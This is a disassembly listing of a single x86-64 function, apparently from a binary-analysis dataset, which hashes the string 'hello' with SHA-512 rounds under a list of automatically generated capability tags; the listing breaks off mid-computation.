Function at 0x402970
Capabilities:
Check os version
Encode data using base64
Encode data using xor
Encrypt data using aes via x86 extensions
Get file attributes

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xca8
vmovups ymm0, ymmword [0x00451860]
vmovaps xmmword [rsp + 0xc90], xmm15
vmovaps xmmword [rsp + 0xc80], xmm14
vmovaps xmmword [rsp + 0xc70], xmm13
vmovaps xmmword [rsp + 0xc60], xmm12
vmovaps xmmword [rsp + 0xc50], xmm11
vmovdqa xmmword [rsp + 0xc40], xmm10
vmovaps xmmword [rsp + 0xc30], xmm9
vmovaps xmmword [rsp + 0xc20], xmm8
vmovaps xmmword [rsp + 0xc10], xmm7
vmovdqa xmmword [rsp + 0xc00], xmm6
lea rax, [rsp + 0x2a0]
lea rcx, [0x0045166d]
vmovups ymmword [rsp + 0x310], ymm0
vmovups ymm0, ymmword [0x00451840]
vmovups ymmword [rsp + 0x2f0], ymm0
vmovups ymm0, ymmword [0x00451820]
vmovups ymmword [rsp + 0x2d0], ymm0
vmovups ymm0, ymmword [0x00451800]
vmovups ymmword [rsp + 0x2b0], ymm0
vmovups ymm0, ymmword [0x004517e0]
vmovups ymmword [rsp + 0x290], ymm0
vmovups ymm0, ymmword [0x004517c0]
vmovups ymmword [rsp + 0x270], ymm0
vmovdqu ymm0, ymmword [0x004517a0]
vmovdqu ymmword [rsp + 0x250], ymm0
cmp rax, rcx
jae 0x402a80
lea rcx, [rsp + 0x2a5]
lea rdx, str.hello
cmp rcx, rdx
ja 0x408183
vpbroadcastb ymm1, byte [0x004501b0]
mov byte [rax + 4], 0x6f
mov dword [rax], 0x6c6c6568
mov qword [rsp + 0x258], 0
mov qword [rsp + 0x250], 5
vpxor xmm0, xmm0, xmm0
vmovdqu ymmword [rsp + 0x2e6], ymm0
vmovdqu ymmword [rsp + 0x2a6], ymm0
vmovdqu ymmword [rsp + 0x2c6], ymm0
vmovdqu ymmword [rsp + 0x2f0], ymm0
mov byte [rsp + 0x2a5], 0x80
mov word [rsp + 0x31f], 0x628
mov qword [rsp + 0x310], 0
mov qword [rsp + 0x317], 0
mov rax, qword [rsp + 0x2a0]
mov rcx, qword [rsp + 0x318]
vmovdqu ymmword [rsp + 0x5f0], ymm1
vmovdqu ymmword [rsp + 0x5d0], ymm1
vmovdqu ymmword [rsp + 0x5b0], ymm1
vmovdqu ymmword [rsp + 0x590], ymm1
vmovdqu ymmword [rsp + 0x570], ymm1
vmovdqu ymmword [rsp + 0x550], ymm1
vmovdqu ymmword [rsp + 0x530], ymm1
vmovdqu ymmword [rsp + 0x510], ymm1
vmovdqu ymmword [rsp + 0x4f0], ymm1
vmovdqu ymmword [rsp + 0x4d0], ymm1
vmovdqu ymmword [rsp + 0x4b0], ymm1
vmovdqu ymmword [rsp + 0x490], ymm1
vmovdqu ymmword [rsp + 0x470], ymm1
vmovdqu ymmword [rsp + 0x450], ymm1
vmovdqu ymmword [rsp + 0x430], ymm1
vmovdqu ymmword [rsp + 0x410], ymm1
movbe qword [rsp + 0x390], rax
bswap rax
vmovdqu ymmword [rsp + 0x3d8], ymm0
vmovdqu ymmword [rsp + 0x398], ymm0
vmovdqu ymmword [rsp + 0x3b8], ymm0
vmovdqu ymmword [rsp + 0x3e8], ymm0
movbe qword [rsp + 0x408], rcx
mov ecx, 0x1f
mov rdx, rax
mov r8, qword [rsp + rcx*8 + 0x2a0]
mov r12, qword [rsp + rcx*8 + 0x308]
add rdx, qword [rsp + rcx*8 + 0x2e0]
mov r9, qword [rsp + rcx*8 + 0x2a8]
rorx r10, r8, 1
rorx r11, r8, 8
mov rbx, r8
shr rbx, 7
rorx rsi, r12, 0x3d
xor r11, r10
rorx r10, r9, 1
xor rbx, r11
rorx r11, r12, 0x13
shr r12, 6
xor rsi, r11
add rbx, rdx
rorx r11, r9, 8
xor r12, rsi
xor r11, r10
mov r10, r9
shr r10, 7
add r12, rbx
xor r10, r11
mov qword [rsp + rcx*8 + 0x318], r12
rorx rbx, r12, 0x13
mov r15, qword [rsp + rcx*8 + 0x310]
add r8, qword [rsp + rcx*8 + 0x2e8]
rorx r11, r15, 0x13
rorx rsi, r15, 0x3d
shr r15, 6
add r10, r8
xor rsi, r11
xor r15, rsi
add r15, r10
mov qword [rsp + rcx*8 + 0x320], r15
mov r10, qword [rsp + rcx*8 + 0x2b0]
add r9, qword [rsp + rcx*8 + 0x2f0]
rorx r11, r10, 1
rorx rsi, r10, 8
mov rdi, r10
shr rdi, 7
xor rsi, r11
xor rdi, rsi
rorx rsi, r12, 0x3d
shr r12, 6
xor rsi, rbx
add rdi, r9
xor r12, rsi
add r12, rdi
rorx rdi, r15, 0x13
mov qword [rsp + rcx*8 + 0x328], r12
mov r9, qword [rsp + rcx*8 + 0x2b8]
add r10, qword [rsp + rcx*8 + 0x2f8]
rorx r11, r9, 1
rorx rsi, r9, 8
mov rbx, r9
shr rbx, 7
xor rsi, r11
xor rbx, rsi
rorx rsi, r15, 0x3d
shr r15, 6
xor rsi, rdi
add rbx, r10
rorx rdi, r12, 0x13
xor r15, rsi
add r15, rbx
mov qword [rsp + rcx*8 + 0x330], r15
rorx rbx, r15, 0x13
mov r10, qword [rsp + rcx*8 + 0x2c0]
add r9, qword [rsp + rcx*8 + 0x300]
rorx r11, r10, 1
rorx rsi, r10, 8
mov r14, r10
shr r14, 7
xor rsi, r11
xor r14, rsi
rorx rsi, r12, 0x3d
shr r12, 6
xor rsi, rdi
add r14, r9
xor r12, rsi
add r12, r14
mov qword [rsp + rcx*8 + 0x338], r12
mov r11, qword [rsp + rcx*8 + 0x2c8]
add r10, qword [rsp + rcx*8 + 0x308]
mov r9, qword [rsp + rcx*8 + 0x2d0]
rorx rsi, r11, 1
rorx rdi, r11, 8
mov r14, r11
shr r14, 7
xor rdi, rsi
rorx rsi, r9, 8
xor r14, rdi
rorx rdi, r15, 0x3d
shr r15, 6
xor rdi, rbx
add r14, r10
rorx r10, r9, 1
rorx rbx, r12, 0x13
xor r15, rdi
xor rsi, r10
mov r10, r9
shr r10, 7
add r15, r14
xor r10, rsi
rorx rsi, r12, 0x3d
shr r12, 6
mov qword [rsp + rcx*8 + 0x340], r15
xor rsi, rbx
rorx rbx, r15, 0x13
add r11, qword [rsp + rcx*8 + 0x310]
xor r12, rsi
add r10, r11
add r12, r10
mov qword [rsp + rcx*8 + 0x348], r12
mov r10, qword [rsp + rcx*8 + 0x2d8]
add r9, qword [rsp + rcx*8 + 0x318]
rorx r11, r10, 1
rorx rsi, r10, 8
mov rdi, r10
shr rdi, 7
xor rsi, r11
xor rdi, rsi
rorx rsi, r15, 0x3d
shr r15, 6
xor rsi, rbx
add rdi, r9
xor r15, rsi
add r15, rdi
rorx rdi, r12, 0x13
mov qword [rsp + rcx*8 + 0x350], r15
mov r9, qword [rsp + rcx*8 + 0x2e0]
add r10, qword [rsp + rcx*8 + 0x320]
rorx r11, r9, 1
rorx rsi, r9, 8
mov r14, r9
shr r14, 7
xor rsi, r11
xor r14, rsi
rorx rsi, r12, 0x3d
shr r12, 6
xor rsi, rdi
add r14, r10
rorx rdi, r15, 0x13
xor r12, rsi
add r12, r14
mov qword [rsp + rcx*8 + 0x358], r12
mov r11, qword [rsp + rcx*8 + 0x2e8]
add r9, qword [rsp + rcx*8 + 0x328]
rorx r10, r11, 1
rorx rsi, r11, 8
mov rbx, r11
shr rbx, 7
xor rsi, r10
xor rbx, rsi
rorx rsi, r15, 0x3d
shr r15, 6
xor rsi, rdi
add rbx, r9
xor r15, rsi
add r15, rbx
rorx rbx, r12, 0x13
mov qword [rsp + rcx*8 + 0x360], r15
mov r10, qword [rsp + rcx*8 + 0x2f0]
add r11, qword [rsp + rcx*8 + 0x330]
rorx r9, r10, 1
rorx rsi, r10, 8
mov r14, r10
shr r14, 7
xor rsi, r9
xor r14, rsi
rorx rsi, r12, 0x3d
shr r12, 6
xor rsi, rbx
add r14, r11
xor r12, rsi
add r12, r14
rorx r14, r15, 0x13
mov qword [rsp + rcx*8 + 0x368], r12
mov r11, qword [rsp + rcx*8 + 0x2f8]
add r10, qword [rsp + rcx*8 + 0x338]
mov r9, qword [rsp + rcx*8 + 0x300]
rorx rsi, r11, 1
rorx rdi, r11, 8
mov rbx, r11
shr rbx, 7
xor rdi, rsi
rorx rsi, r9, 8
xor rbx, rdi
rorx rdi, r15, 0x3d
shr r15, 6
xor rdi, r14
add rbx, r10
rorx r10, r9, 1
xor r15, rdi
xor rsi, r10
mov r10, r9
shr r10, 7
rorx rdi, r12, 0x13
add r15, rbx
xor r10, rsi
rorx rsi, r12, 0x3d
shr r12, 6
mov qword [rsp + rcx*8 + 0x370], r15
xor rsi, rdi
rorx rdi, r15, 0x13
add r11, qword [rsp + rcx*8 + 0x340]
xor r12, rsi
add r10, r11
add r12, r10
mov qword [rsp + rcx*8 + 0x378], r12
mov r10, qword [rsp + rcx*8 + 0x308]
add r9, qword [rsp + rcx*8 + 0x348]
rorx r11, r10, 1
rorx rsi, r10, 8
mov rbx, r10
shr rbx, 7
xor rsi, r11
xor rbx, rsi
rorx rsi, r15, 0x3d
shr r15, 6
xor rsi, rdi
add rbx, r9
xor r15, rsi
add r15, rbx
rorx rbx, r12, 0x13
mov qword [rsp + rcx*8 + 0x380], r15
mov r9, qword [rsp + rcx*8 + 0x310]
add r10, qword [rsp + rcx*8 + 0x350]
rorx r11, r9, 1
rorx rsi, r9, 8
mov rdi, r9
shr rdi, 7
xor rsi, r11
xor rdi, rsi
rorx rsi, r12, 0x3d
shr r12, 6
xor rsi, rbx
add rdi, r10
xor r12, rsi
rorx rsi, r15, 0x13
add r12, rdi
mov qword [rsp + rcx*8 + 0x388], r12
mov rdx, qword [rsp + rcx*8 + 0x318]
add r9, qword [rsp + rcx*8 + 0x358]
rorx r10, rdx, 1
rorx r11, rdx, 8
mov rdi, rdx
shr rdi, 7
xor r11, r10
xor rdi, r11
rorx r11, r15, 0x3d
shr r15, 6
xor r11, rsi
add rdi, r9
xor r15, r11
add r15, rdi
mov qword [rsp + rcx*8 + 0x390], r15
add rcx, 0x10
cmp rcx, 0x5f
jne 0x402be0
movabs rcx, 0xd7a66e1fbcaf1b12
movabs r9, 0x287620c7fb08c671
movabs r8, 0xbe5e1e2553863992
movabs r10, 0x38cd0991c39458fe
movabs rdi, 0x96283ee2a88effe3
movabs r13, 0x28db77f523047d84
movabs rbp, 0x32caab7b40c72493
add rcx, rax
add r10, rax
and r9, rcx
rorx rax, rcx, 0xe
rorx rdx, rcx, 0x12
rorx r11, rcx, 0x29
mov rbx, r10
xor r8, r9
add r8, qword [rsp + 0x398]
xor rdx, rax
rorx r9, r10, 0x1c
xor r11, rdx
rorx rdx, r10, 0x22
xor rdx, r9
movabs r9, 0xbd647e37346793ee
and r9, r10
add r8, r11
rorx r11, r10, 0x27
xor r11, rdx
movabs rdx, 0xbfcc96f8bfc8cfc8
add rdx, r8
add r9, r11
movabs r11, 0x9e49e00e187d8277
add r11, r9
rorx rax, rdx, 0xe
rorx r9, rdx, 0x12
rorx rsi, rdx, 0x29
or rdi, rdx
xor r9, rax
add r11, r8
xor rsi, r9
andn r9, rcx, rdx
rorx r8, r11, 0x22
rorx r15, r11, 0x27
andn rdi, r9, rdi
add rdi, qword [rsp + 0x3a0]
rorx r9, r11, 0x1c
xor r8, r9
movabs r9, 0x22312194fc2bf72c
and rbx, r9
xor r15, r8
movabs r8, 0x13747999081fd983
add rdi, rsi
mov rsi, r10
or rsi, r9
and rsi, r11
add r8, rdi
or rbx, rsi
movabs rsi, 0x741f19f53fd374c1
rorx rax, r8, 0xe
rorx r14, r8, 0x29
add rbx, r15
add rsi, rbx
mov rbx, rdx
and rbx, r8
add rsi, rdi
rorx rdi, r8, 0x12
xor rdi, rax
rorx rax, rsi, 0x1c
xor r14, rdi
andn rdi, r8, rcx
add rcx, qword [rsp + 0x3b0]
or rbx, rdi
add rbx, qword [rsp + 0x3a8]
movabs rdi, 0x7fde1a882a18db9f
add rdi, r14
rorx r14, rsi, 0x27
add rdi, rbx
rorx rbx, rsi, 0x22
xor rbx, rax
mov rax, r11
and rax, r10
add r9, rdi
xor r14, rbx
mov rbx, r11
or rbx, r10
and rbx, rsi
or rax, rbx
rorx rbx, r9, 0x12
add rax, r14
mov r14, r8
and r14, r9
add rax, rdi
rorx rdi, r9, 0xe
xor rbx, rdi
rorx rdi, r9, 0x29
xor rdi, rbx
andn rbx, r9, rdx
add rdx, qword [rsp + 0x3b8]
or r14, rbx
rorx rbx, rax, 0x22
add rcx, r14
rorx r14, rax, 0x1c
xor rbx, r14
rorx r14, rax, 0x27
add rcx, rdi
movabs rdi, 0x3956c25bf348b538
xor r14, rbx
mov rbx, rsi
or rbx, r11
add rdi, rcx
mov rcx, rsi
and rcx, r11
and rbx, rax
add r10, rdi
or rcx, rbx
rorx rbx, r10, 0x12
add rcx, r14
mov r14, r9
and r14, r10
add rcx, rdi
rorx rdi, r10, 0xe
xor rbx, rdi
rorx rdi, r10, 0x29
xor rdi, rbx
andn rbx, r10, r8
add r8, qword [rsp + 0x3c0]
or r14, rbx
rorx rbx, rcx, 0x22
add rdx, r14
rorx r14, rcx, 0x1c
xor rbx, r14
rorx r14, rcx, 0x27
add rdx, rdi
movabs rdi, 0x59f111f1b605d019
xor r14, rbx
mov rbx, rax
or rbx, rsi
add rdi, rdx
mov rdx, rax
and rdx, rsi
and rbx, rcx
add r11, rdi
or rdx, rbx
rorx rbx, r11, 0x12
add rdx, r14
mov r14, r10
and r14, r11
add rdx, rdi
rorx rdi, r11, 0xe
xor rbx, rdi
rorx rdi, r11, 0x29
xor rdi, rbx
andn rbx, r11, r9
add r9, qword [rsp + 0x3c8]
or r14, rbx
rorx rbx, rdx, 0x22
add r8, r14
rorx r14, rdx, 0x1c
xor rbx, r14
rorx r14, rdx, 0x27
add r8, rdi
movabs rdi, 0x923f82a4af194f9b
xor r14, rbx
mov rbx, rcx
or rbx, rax
add rdi, r8
mov r8, rcx
and r8, rax
and rbx, rdx
add rsi, rdi
or r8, rbx
rorx rbx, rsi, 0x12
add r8, r14
mov r14, r11
and r14, rsi
add r8, rdi
rorx rdi, rsi, 0xe
xor rbx, rdi
rorx rdi, rsi, 0x29
xor rdi, rbx
andn rbx, rsi, r10
add r10, qword [rsp + 0x3d0]
or r14, rbx
rorx rbx, r8, 0x22
add r9, r14
rorx r14, r8, 0x1c
xor rbx, r14
rorx r14, r8, 0x27
add r9, rdi
movabs rdi, 0xab1c5ed5da6d8118
xor r14, rbx
mov rbx, rdx
or rbx, rcx
add rdi, r9
mov r9, rdx
and r9, rcx
and rbx, r8
add rax, rdi
or r9, rbx
rorx rbx, rax, 0x12
add r9, r14
mov r14, rsi
and r14, rax
add r9, rdi
rorx rdi, rax, 0xe
xor rbx, rdi
rorx rdi, rax, 0x29
rorx r15, r9, 0x1c
xor rdi, rbx
andn rbx, rax, r11
add r11, qword [rsp + 0x3d8]
or r14, rbx
rorx rbx, r9, 0x22
add r10, r14
xor rbx, r15
rorx r14, r9, 0x27
add r10, rdi
movabs rdi, 0xd807aa98a3030242
xor r14, rbx
mov rbx, r8
or rbx, rdx
add rdi, r10
mov r10, r8
and rbx, r9
and r10, rdx
or r10, rbx
add rcx, rdi
add r10, r14
rorx rbx, rcx, 0x12
mov r14, rax
and r14, rcx
add r10, rdi
rorx rdi, rcx, 0xe
xor rbx, rdi
rorx rdi, rcx, 0x29
rorx r15, r10, 0x1c
xor rdi, rbx
andn rbx, rcx, rsi
add rsi, qword [rsp + 0x3e0]
or r14, rbx
rorx rbx, r10, 0x22
add r11, r14
xor rbx, r15
rorx r14, r10, 0x27
add r11, rdi
movabs rdi, 0x12835b0145706fbe
xor r14, rbx
mov rbx, r9
or rbx, r8
add rdi, r11
mov r11, r9
and rbx, r10
and r11, r8
or r11, rbx
add rdx, rdi
add r11, r14
rorx rbx, rdx, 0x12
mov r14, rcx
and r14, rdx
add r11, rdi
rorx rdi, rdx, 0xe
xor rbx, rdi
rorx rdi, rdx, 0x29
xor rdi, rbx
andn rbx, rdx, rax
add rax, qword [rsp + 0x3e8]
or r14, rbx
rorx rbx, r11, 0x22
add rsi, r14
rorx r14, r11, 0x27
add rsi, rdi
movabs rdi, 0x243185be4ee4b28c
add rdi, rsi
rorx rsi, r11, 0x1c
xor rbx, rsi
mov rsi, r10
and rsi, r9
add r8, rdi
xor r14, rbx
mov rbx, r10
or rbx, r9
and rbx, r11
or rsi, rbx
rorx rbx, r8, 0x12
add rsi, r14
mov r14, rdx
and r14, r8
add rsi, rdi
rorx rdi, r8, 0xe
xor rbx, rdi
rorx rdi, r8, 0x29
rorx r15, rsi, 0x1c
xor rdi, rbx
andn rbx, r8, rcx
add rcx, qword [rsp + 0x3f0]
or r14, rbx
rorx rbx, rsi, 0x22
add rax, r14
xor rbx, r15
rorx r14, rsi, 0x27
add rax, rdi
movabs rdi, 0x550c7dc3d5ffb4e2
xor r14, rbx
mov rbx, r11
or rbx, r10
add rdi, rax
mov rax, r11
and rbx, rsi
and rax, r10
or rax, rbx
add r9, rdi
add rax, r14
rorx rbx, r9, 0x12
mov r14, r8
and r14, r9
add rax, rdi
rorx rdi, r9, 0xe
xor rbx, rdi
rorx rdi, r9, 0x29
rorx r15, rax, 0x1c
xor rdi, rbx
andn rbx, r9, rdx
add rdx, qword [rsp + 0x3f8]
or r14, rbx
rorx rbx, rax, 0x22
add rcx, r14
xor rbx, r15
rorx r14, rax, 0x27
add rcx, rdi
movabs rdi, 0x72be5d74f27b896f
xor r14, rbx
mov rbx, rsi
or rbx, r11
add rdi, rcx
mov rcx, rsi
and rbx, rax
and rcx, r11
or rcx, rbx
add r10, rdi
add rcx, r14
rorx rbx, r10, 0x12
mov r14, r9
and r14, r10
add rcx, rdi
rorx rdi, r10, 0xe
xor rbx, rdi
rorx rdi, r10, 0x29
rorx r15, rcx, 0x1c
xor rdi, rbx
andn rbx, r10, r8
add r8, qword [rsp + 0x400]
or r14, rbx
rorx rbx, rcx, 0x22
add rdx, r14
xor rbx, r15
rorx r14, rcx, 0x27
add rdx, rdi
movabs rdi, 0x80deb1fe3b1696b1
xor r14, rbx
mov rbx, rax
or rbx, rsi
add rdi, rdx
mov rdx, rax
and rbx, rcx
and rdx, rsi
or rdx, rbx
add r11, rdi
add rdx, r14
rorx rbx, r11, 0x12
mov r14, r10
and r14, r11
add rdx, rdi
rorx rdi, r11, 0xe
xor rbx, rdi
rorx rdi, r11, 0x29
rorx r15, rdx, 0x1c
xor rdi, rbx
andn rbx, r11, r9
add r9, qword [rsp + 0x408]
or r14, rbx
rorx rbx, rdx, 0x22
add r8, r14
xor rbx, r15
rorx r14, rdx, 0x27
add r8, rdi
movabs rdi, 0x9bdc06a725c71235
xor r14, rbx
mov rbx, rcx
or rbx, rax
add rdi, r8
mov r8, rcx
and rbx, rdx
and r8, rax
or r8, rbx
add rsi, rdi
add r8, r14
rorx rbx, rsi, 0x12
mov r14, r11
and r14, rsi
add r8, rdi
rorx rdi, rsi, 0xe
xor rbx, rdi
rorx rdi, rsi, 0x29
rorx r15, r8, 0x1c
xor rdi, rbx
andn rbx, rsi, r10
add r10, qword [rsp + 0x410]
or r14, rbx
rorx rbx, r8, 0x22
add r9, r14
xor rbx, r15
rorx r14, r8, 0x27
add r9, rdi
movabs rdi, 0xc19bf174cf692694
xor r14, rbx
mov rbx, rdx
or rbx, rcx
add rdi, r9
mov r9, rdx
and rbx, r8
and r9, rcx
or r9, rbx
add rax, rdi
add r9, r14
rorx rbx, rax, 0x12
mov r14, rsi
and r14, rax
add r9, rdi
rorx rdi, rax, 0xe
xor rbx, rdi
rorx rdi, rax, 0x29
xor rdi, rbx
andn rbx, rax, r11
add r11, qword [rsp + 0x418]
or r14, rbx
rorx rbx, r9, 0x22
add r10, r14
rorx r14, r9, 0x1c
xor rbx, r14
rorx r14, r9, 0x27
add r10, rdi
movabs rdi, 0xe49b69c19ef14ad2
xor r14, rbx
mov rbx, r8
or rbx, rdx
add rdi, r10
mov r10, r8
and r10, rdx
and rbx, r9
add rcx, rdi
or r10, rbx
rorx rbx, rcx, 0x12
add r10, r14
mov r14, rax
and r14, rcx
add r10, rdi
rorx rdi, rcx, 0xe
xor rbx, rdi
rorx rdi, rcx, 0x29
xor rdi, rbx
andn rbx, rcx, rsi
add rsi, qword [rsp + 0x420]
or r14, rbx
rorx rbx, r10, 0x22
add r11, r14
rorx r14, r10, 0x1c
xor rbx, r14
rorx r14, r10, 0x27
add r11, rdi
movabs rdi, 0xefbe4786384f25e3
xor r14, rbx
mov rbx, r9
or rbx, r8
add rdi, r11
mov r11, r9
and r11, r8
and rbx, r10
add rdx, rdi
or r11, rbx
rorx rbx, rdx, 0x12
add r11, r14
mov r14, rcx
and r14, rdx
add r11, rdi
rorx rdi, rdx, 0xe
xor rbx, rdi
rorx rdi, rdx, 0x29
xor rdi, rbx
andn rbx, rdx, rax
add rax, qword [rsp + 0x428]
or r14, rbx
rorx rbx, r11, 0x22
add rsi, r14
rorx r14, r11, 0x27
add rsi, rdi
movabs rdi, 0xfc19dc68b8cd5b5
add rdi, rsi
rorx rsi, r11, 0x1c
xor rbx, rsi
mov rsi, r10
and rsi, r9
add r8, rdi
xor r14, rbx
mov rbx, r10
or rbx, r9
and rbx, r11
or rsi, rbx
rorx rbx, r8, 0x12
add rsi, r14
mov r14, rdx
and r14, r8
add rsi, rdi
rorx rdi, r8, 0xe
xor rbx, rdi
rorx rdi, r8, 0x29
xor rdi, rbx
andn rbx, r8, rcx
add rcx, qword [rsp + 0x430]
or r14, rbx
rorx rbx, rsi, 0x22
add rax, r14
rorx r14, rsi, 0x1c
xor rbx, r14
rorx r14, rsi, 0x27
add rax, rdi
movabs rdi, 0x240ca1cc77ac9c65
xor r14, rbx
mov rbx, r11
or rbx, r10
add rdi, rax
mov rax, r11
and rax, r10
and rbx, rsi
add r9, rdi
or rax, rbx
rorx rbx, r9, 0x12
add rax, r14
mov r14, r8
and r14, r9
add rax, rdi
rorx rdi, r9, 0xe
xor rbx, rdi
rorx rdi, r9, 0x29
xor rdi, rbx
andn rbx, r9, rdx
add rdx, qword [rsp + 0x438]
or r14, rbx
rorx rbx, rax, 0x22
add rcx, r14
rorx r14, rax, 0x1c
xor rbx, r14
rorx r14, rax, 0x27
add rcx, rdi
movabs rdi, 0x2de92c6f592b0275
xor r14, rbx
mov rbx, rsi
or rbx, r11
add rdi, rcx
mov rcx, rsi
and rcx, r11
and rbx, rax
add r10, rdi
or rcx, rbx
rorx rbx, r10, 0x12
add rcx, r14
mov r14, r9
and r14, r10
add rcx, rdi
rorx rdi, r10, 0xe
xor rbx, rdi
rorx rdi, r10, 0x29
xor rdi, rbx
andn rbx, r10, r8
add r8, qword [rsp + 0x440]
or r14, rbx
rorx rbx, rcx, 0x22
add rdx, r14
rorx r14, rcx, 0x1c
xor rbx, r14
rorx r14, rcx, 0x27
add rdx, rdi
movabs rdi, 0x4a7484aa6ea6e483
xor r14, rbx
mov rbx, rax
or rbx, rsi
add rdi, rdx
mov rdx, rax
and rdx, rsi
and rbx, rcx
add r11, rdi
or rdx, rbx
rorx rbx, r11, 0x12
add rdx, r14
mov r14, r10
and r14, r11
add rdx, rdi
rorx rdi, r11, 0xe
xor rbx, rdi
rorx rdi, r11, 0x29
xor rdi, rbx
andn rbx, r11, r9
add r9, qword [rsp + 0x448]
or r14, rbx
rorx rbx, rdx, 0x22
add r8, r14
rorx r14, rdx, 0x1c
xor rbx, r14
rorx r14, rdx, 0x27
add r8, rdi
movabs rdi, 0x5cb0a9dcbd41fbd4
xor r14, rbx
mov rbx, rcx
or rbx, rax
add rdi, r8
mov r8, rcx
and r8, rax
and rbx, rdx
add rsi, rdi
or r8, rbx
rorx rbx, rsi, 0x12
add r8, r14
mov r14, r11
and r14, rsi
add r8, rdi
rorx rdi, rsi, 0xe
xor rbx, rdi
rorx rdi, rsi, 0x29
xor rdi, rbx
andn rbx, rsi, r10
add r10, qword [rsp + 0x450]
or r14, rbx
rorx rbx, r8, 0x22
add r9, r14
rorx r14, r8, 0x1c
xor rbx, r14
rorx r14, r8, 0x27
add r9, rdi
movabs rdi, 0x76f988da831153b5
xor r14, rbx
mov rbx, rdx
or rbx, rcx
add rdi, r9
mov r9, rdx
and r9, rcx
and rbx, r8
add rax, rdi
or r9, rbx
rorx rbx, rax, 0x12
add r9, r14
mov r14, rsi
and r14, rax
add r9, rdi
rorx rdi, rax, 0xe
xor rbx, rdi
rorx rdi, rax, 0x29
rorx r15, r9, 0x1c
xor rdi, rbx
andn rbx, rax, r11
add r11, qword [rsp + 0x458]
or r14, rbx
rorx rbx, r9, 0x22
add r10, r14
xor rbx, r15
rorx r14, r9, 0x27
add r10, rdi
movabs rdi, 0x983e5152ee66dfab
xor r14, rbx
mov rbx, r8
or rbx, rdx
add rdi, r10
mov r10, r8
and rbx, r9
and r10, rdx
or r10, rbx
add rcx, rdi
add r10, r14
rorx rbx, rcx, 0x12
mov r14, rax
and r14, rcx
add r10, rdi
rorx rdi, rcx, 0xe
xor rbx, rdi
rorx rdi, rcx, 0x29
rorx r15, r10, 0x1c
xor rdi, rbx
andn rbx, rcx, rsi
add rsi, qword [rsp + 0x460]
or r14, rbx
rorx rbx, r10, 0x22
add r11, r14
xor rbx, r15
rorx r14, r10, 0x27
add r11, rdi
movabs rdi, 0xa831c66d2db43210
xor r14, rbx
mov rbx, r9
or rbx, r8
add rdi, r11
mov r11, r9
and rbx, r10
and r11, r8
or r11, rbx
add rdx, rdi
add r11, r14
rorx rbx, rdx, 0x12
mov r14, rcx
and r14, rdx
add r11, rdi
rorx rdi, rdx, 0xe
xor rbx, rdi
rorx rdi, rdx, 0x29
xor rdi, rbx
andn rbx, rdx, rax
add rax, qword [rsp + 0x468]
or r14, rbx
rorx rbx, r11, 0x22
add rsi, r14
rorx r14, r11, 0x27
add rsi, rdi
movabs rdi, 0xb00327c898fb213f
add rdi, rsi
rorx rsi, r11, 0x1c
xor rbx, rsi
mov rsi, r10
and rsi, r9
add r8, rdi
xor r14, rbx
mov rbx, r10
or rbx, r9
and rbx, r11
or rsi, rbx
rorx rbx, r8, 0x12
add rsi, r14
mov r14, rdx
and r14, r8
add rsi, rdi
rorx rdi, r8, 0xe
xor rbx, rdi
rorx rdi, r8, 0x29
rorx r15, rsi, 0x1c
xor rdi, rbx
andn rbx, r8, rcx
add rcx, qword [rsp + 0x470]
or r14, rbx
rorx rbx, rsi, 0x22
add rax, r14
xor rbx, r15
rorx r14, rsi, 0x27
add rax, rdi
movabs rdi, 0xbf597fc7beef0ee4
xor r14, rbx
mov rbx, r11
or rbx, r10
add rdi, rax
mov rax, r11
and rbx, rsi
and rax, r10
or rax, rbx
add r9, rdi
add rax, r14
rorx rbx, r9, 0x12
mov r14, r8
and r14, r9
add rax, rdi
rorx rdi, r9, 0xe
xor rbx, rdi
rorx rdi, r9, 0x29
rorx r15, rax, 0x1c
xor rdi, rbx
andn rbx, r9, rdx
add rdx, qword [rsp + 0x478]
or r14, rbx
rorx rbx, rax, 0x22
add rcx, r14
xor rbx, r15
rorx r14, rax, 0x27
add rcx, rdi
movabs rdi, 0xc6e00bf33da88fc2
xor r14, rbx
mov rbx, rsi
or rbx, r11
add rdi, rcx
mov rcx, rsi
and rbx, rax
and rcx, r11
or rcx, rbx
add r10, rdi
add rcx, r14
rorx rbx, r10, 0x12
mov r14, r9
and r14, r10
add rcx, rdi
rorx rdi, r10, 0xe
xor rbx, rdi
rorx rdi, r10, 0x29
rorx r15, rcx, 0x1c
xor rdi, rbx
andn rbx, r10, r8
add r8, qword [rsp + 0x480]
or r14, rbx
rorx rbx, rcx, 0x22
add rdx, r14
xor rbx, r15
rorx r14, rcx, 0x27
add rdx, rdi
movabs rdi, 0xd5a79147930aa725
xor r14, rbx
mov rbx, rax
or rbx, rsi
add rdi, rdx
mov rdx, rax
and rbx, rcx
and rdx, rsi
or rdx, rbx
add r11, rdi
add rdx, r14
rorx rbx, r11, 0x12
mov r14, r10
and r14, r11
add rdx, rdi
rorx rdi, r11, 0xe
xor rbx, rdi
rorx rdi, r11, 0x29
rorx r15, rdx, 0x1c
xor rdi, rbx
andn rbx, r11, r9
add r9, qword [rsp + 0x488]
or r14, rbx
rorx rbx, rdx, 0x22
add r8, r14
xor rbx, r15
rorx r14, rdx, 0x27
add r8, rdi
movabs rdi, 0x6ca6351e003826f
xor r14, rbx
mov rbx, rcx
or rbx, rax
add rdi, r8
mov r8, rcx
and rbx, rdx
and r8, rax
or r8, rbx
add rsi, rdi
add r8, r14
rorx rbx, rsi, 0x12
mov r14, r11
and r14, rsi
add r8, rdi
rorx rdi, rsi, 0xe
xor rbx, rdi
rorx rdi, rsi, 0x29
rorx r15, r8, 0x1c
xor rdi, rbx
andn rbx, rsi, r10
add r10, qword [rsp + 0x490]
or r14, rbx
rorx rbx, r8, 0x22
add r9, r14
xor rbx, r15
rorx r14, r8, 0x27
add r9, rdi
movabs rdi, 0x142929670a0e6e70
xor r14, rbx
mov rbx, rdx
or rbx, rcx
add rdi, r9
mov r9, rdx
and rbx, r8
and r9, rcx
or r9, rbx
add rax, rdi
add r9, r14
rorx rbx, rax, 0x12
mov r14, rsi
and r14, rax
add r9, rdi
rorx rdi, rax, 0xe
xor rbx, rdi
rorx rdi, rax, 0x29
xor rdi, rbx
andn rbx, rax, r11
add r11, qword [rsp + 0x498]
or r14, rbx
rorx rbx, r9, 0x22
add r10, r14
rorx r14, r9, 0x1c
xor rbx, r14
rorx r14, r9, 0x27
add r10, rdi
movabs rdi, 0x27b70a8546d22ffc
xor r14, rbx
mov rbx, r8
or rbx, rdx
add rdi, r10
mov r10, r8
and r10, rdx
and rbx, r9
